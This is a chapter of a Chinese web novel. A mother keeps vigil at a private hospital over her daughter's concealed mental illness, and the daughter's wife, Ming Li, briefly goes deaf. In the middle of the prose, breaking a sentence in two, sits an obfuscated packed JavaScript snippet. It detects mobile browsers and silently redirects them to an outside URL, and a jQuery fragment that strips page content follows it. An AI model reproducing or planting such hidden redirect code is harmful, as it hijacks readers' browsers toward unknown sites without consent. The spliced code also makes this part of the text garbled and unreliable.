15.Chapter 15
    凌晨一点,华兴高档私人医院灯火通明。

    贵宾专属的高级病房外,顾雪蔷刚刚挂断电话,揉了揉泛红的眼睛,又强撑着精神透过透明玻璃看病房内的情况,顾清霜仍安静地躺在病床上,医生收起听诊器时眉头紧锁,等了会儿才从病房内出来。

    “顾太太。”医生向她颔首。

    “霜霜的情况……”顾雪蔷顿了下,声音嘶哑:“还好么?”

    负责给顾清霜检查的是国外请来的专家,从顾清霜十几岁时就一直做她的私人医生。

    只不过近两年,顾清霜来复查的频率低了很多。

    一来是顾清霜很少再发生这种情况,睡眠也好了很多,二来是顾清霜对检查有种本能上的抗拒,顾雪蔷拗不过她,见她慢慢好起来也不再勉强。

    反正目的是让顾清霜健康,目的达到也不敢把顾清霜逼得太紧。

    却没想到,顾清霜今晚会在大庭广众之下发病。

    是的,发病。

    顾雪蔷一直将这个消息瞒得密不透风,就连这位医生也对外宣称是请来为顾清霜调理身体的。

    实际上从顾清霜十四岁时,顾清霜就患上了严重的心理疾病。

    “去我办公室聊吧。”卫医生说。

    卫医生是美籍华裔,年轻时长相精致得像橱窗里摆着的娃娃,如今年过五十,风韵犹存,岁月并未在她脸上留下太多痕迹,说话时也温声细语,进办公室后她先给顾雪蔷倒了半杯温水,才缓缓开口:“霜霜今晚很危险。”

    顾雪蔷皱着眉,“她近期的检查报告呢?”

    “顾小姐已经半年没来做过定期检查了。”卫医生从保险柜中取出她去年的身体检查报告,“从前年秋季开始,她的身体数值就进入了比较平稳的阶段,期间我也对她做过几次精神方面的测试,都显示她的情况在逐渐好转,我们倾向于她很满意目前的生活。”

    “医院工作十分疲惫,却能转移她的注意力,减轻她的精神压力,所以在她的生活没有发生变动之前,我也并不建议她频繁来检查。”

    顾清霜的病情特殊,再加上她本身对此十分抗拒,卫医生也尊重她的意愿。

    在跟顾雪蔷解释之后,卫医生才提起今晚的情况:“从她的手表健康数值显示,心跳频率最高达到了240,到现在,她的心跳还在120,已经给她用了药,要看后半夜能不能降下来。如果降下来,就需要再观察明天醒来后的情况,降不下来的话……”

    “会怎么样?”顾雪蔷紧张道。

    “我们会加重药剂用量。”卫医生斟酌着说:“也可以尝试新药,只是都有副作用。”

    “副作用是什么?”顾雪蔷问。

    卫医生也没隐瞒:“药量加重稍有不慎会使人行动迟缓,记忆力低下,新药的副作用……目前不详。”

    顾雪蔷脸色沉沉,等了会儿冷声吩咐:“等早上再看吧,她会没事的。”

    “好的。”卫医生也安抚道:“顾小姐吉人自有天相,而且她的意志力很坚定,应该会没事。”

    这一夜是顾雪蔷的不眠夜。

    凌晨三点,顾雪蔷的电话响了,是丈夫顾柳甫打来的。

    犹豫了一下还是接起,电话那端先传来一声虚弱的咳嗽,隔了几秒才缓缓开口:“小蔷,霜霜情况怎么样?”

    “还行,没死。”顾雪蔷语气不善地回答:“让你失望了。”

    “这话说的……她是我的女儿。”顾柳甫叹了口气,并未因顾雪蔷的咄咄逼人就挂断电话,仍旧和善地问:“霜霜已经很久没生病了,这次怎么会突然……”

    “跟人起了点争执。”顾雪蔷敷衍道:“情绪不稳定。”

    “不应该啊,上次她来的时候情绪还挺……”顾柳甫的话没说完就被顾雪蔷强势打断:“你要是不信就天天自己盯着,少在这假惺惺问我。”

    “……”

    顾柳甫那边没了动静,似是思考该如何解释。

    顾雪蔷已然失了耐心:“烦。”

    而后直接挂断电话,缓缓靠在椅子上,头仰起来,发红的眼睛里有泪珠涌动,却没有落下来。

    走廊里响起很轻的脚步声,顾雪蔷吸了口气重新坐直,脸上表情冷冰冰的,已经恢复了平时那副强势姿态。

    来的人是她的助理之一,年纪跟顾清霜差不多,做事能力很强,已经能够独当一面。

    “顾总,今晚的事都处理妥当了。”助理汇报道:“利安科技的新项目是跟静安小姐那边合作的,我们没办法插手,但我们跟负责审批他们贷款的华生银行打过招呼了,这次审批的款项会出些小问题,够让他头疼一阵的。”

    “做得很好。”顾雪蔷睨了她一眼,淡淡道:“对于这种人不能逼太紧,逼急了什么事都能做出来,嫌他们麻烦,给点苦头吃就行了。”

    助理点头:“好,我们会把握好度的。”

    顾雪蔷挥手让她回去休息,助理却道:“我不累,反倒是您忙一天了,您到隔壁的休息室里睡会儿吧,清霜小姐这边由我看着,等她醒了我就叫您和卫医生。”

    “不用。”似是想起什么,顾清霜抬手看了眼表,拧着眉问:“明骊呢?之后没出什么乱子吧?”

    “明小姐很得体。”助理说:“跟各位夫人都打过招呼才离开宴会的,回家后进了房间就没再出来过了。”

    顾雪蔷曲指敲在腿上,沉默片刻,忽地长长叹了口气。

    “您别太担心。”助理安慰。

    “你说,明骊更喜欢霜霜,还是霜霜更喜欢明骊?”顾雪蔷幽幽地问。

    助理微怔,虽然不知道顾雪蔷为什么突然这么问,脑子却飞速转动,微笑着回答:“两位小姐结婚三年,情投意合,连架都没吵过一次,看得我羡慕坏了,我都想找个女朋友结婚。”

    顾雪蔷轻嗤,“别说那些虚头巴脑的。就精准地回答我这个问题。”

    助理:“……”

    这三年发生的一切助理也有目共睹,虽然今晚顾清霜在大庭广众之下为明骊大打出手,但难免会有维护顾家人的那种保护欲在,而明骊对顾清霜的照顾却是实打实的,在这段关系里,永远是明骊在退让,永远是明骊保护着顾清霜的纯真。

    助理犹豫过后还是说了实话:“应该是明小姐更喜欢清霜小姐。”

    “哦?”顾雪蔷挑了下眉,“仔细说说。”

    “明小姐将清霜小姐照顾得很好,只要清霜小姐喜欢,她什么都能学会。”助理说,“最重要的是,清霜小姐喜欢的……另有别人。”

    顾雪蔷却瞟了眼病房的方向,“是么?”

    助理一时也不知道该怎么回答了,分明是顾雪蔷问的,可她似乎并不满意这个答案。

    幸好顾雪蔷只是像闲聊一样跟她聊聊,并没有太深究。

    之后便是无尽的沉默了。

    不知沉默了多久,顾雪蔷带着几分担忧地说:“霜霜从小就轴,已经为一个人送掉半条命了,也不知道剩下这半条命……哎。”

    千言万语化作一声长叹。

    助理难得见顾雪蔷流露出软弱的这面,脸上露出每个母亲都会表露出的担忧,是为顾清霜坎

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628172|143182||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    坷前路的担忧,亦是为她往后的担忧。

    助理却觉得顾雪蔷想多了,像顾小姐这样的人,一出生就在罗马,从来没受过人间疾苦,不用在早晚高峰挤地铁,可以从事自己喜欢的职业,吃喝不愁住大别墅,有一堆保姆伺候着,大概永远不会有坎坷的前路。

    就算在感情上栽跟头,大概也不会是顾小姐受伤。

    因为顾小姐,没有心。

    她反倒更心疼明骊小姐。

    而顾雪蔷却心疼地看向病房里的顾清霜,沉默寡言的人在感情里永远处于下风。

    只希望她的霜霜,别再因为感情受伤了。

    -

    太阳穿过窗帘的缝隙照进房间里,明骊坐在床边缓缓动了下肩膀。

    她机械式地打开了音乐软件,点击播放。

    随机播放的歌曲旋律很好听,可她却听不见歌词。

    整整一夜,从起先的震惊到害怕,再到现在的麻木。

    甚至,她想求助祝寒星,让祝寒星帮她找个医生,可是不敢把这件事告诉祝寒星。

    因为医生和祝寒星肯定都会问她为什么会发生这种情况。

    她思来想去,大概是因为沈梨灯?

    因为一个素未谋面的女人。

    丢人。

    明骊没那个脸说出口,她关闭音乐把自己的身体埋进柔软的被子里。

    微弱光亮的房间里静谧无声,明骊紧绷了一夜的弦慢慢松开,她安慰自己先睡一觉,有什么事情等睡醒来再想。

    慢慢地,困意袭来。

    等明骊再次醒来的时候是上午十点半,她也就睡了三四个小时,但感觉已经很够用了,脑子清醒得很。

    明骊给祝寒星发了条消息。

    祝寒星很快发了语音来:“骊姐,你昨晚上咋回事啊?给我吓一跳,现在好了没?”

    精神抖擞,一点听不出来是早上五点多就醒来给明骊发过消息的人。

    明骊点开播放,听完以后回复:【没啥事,太累了,困得想打人。】

    祝寒星哈哈大笑:“幸好我不在你跟前儿。不过你困了就早点跟我说啊,我就不缠着你八卦了。”

    明骊:【……以后深夜勿扰。】

    面无表情地发完消息,祝寒星又给她发照片,说是片场已经开工,她今天状态好得很,基本都是一条过。

    跟祝寒星插科打诨地聊了会儿,明骊这才问道:【你认不认识什么儿科医生?】

    祝寒星一愣:“我敲?!你怀孕了?”

    明骊:“……”

    明骊发现自己打错了字:【耳科,不是儿科。】

    祝寒星:“吓我一跳,我以为你要当妈了。”

    明骊都无语到想笑,发了今天早上的第一条语音,也是今早开口说的第一句话:“我们两女生去哪儿生孩子?我要真怀孕了你才该担心吧。”

    “那你问耳科医生做什么?耳朵不舒服?”祝寒星问。

    明骊播放她那条语音又听了一遍,后知后觉地把她之前那些语音再次播放。

    果然,清醒是她的错觉。

    她的耳朵清醒了,可她的脑子还没有,刚才都没有反应过来她能听见的事情。

    没有想象中复听的欣喜若狂,明骊心有惴惴地回复:【可能不是耳朵。】

    【祝寒星:啊?】

    明骊思来想去,最后还是选择了坦白:【我需要做个全面检查。】

    明骊:【我昨晚短暂失聪了。】

    如果连祝寒星都不能说,那她真的不知道该跟谁说了。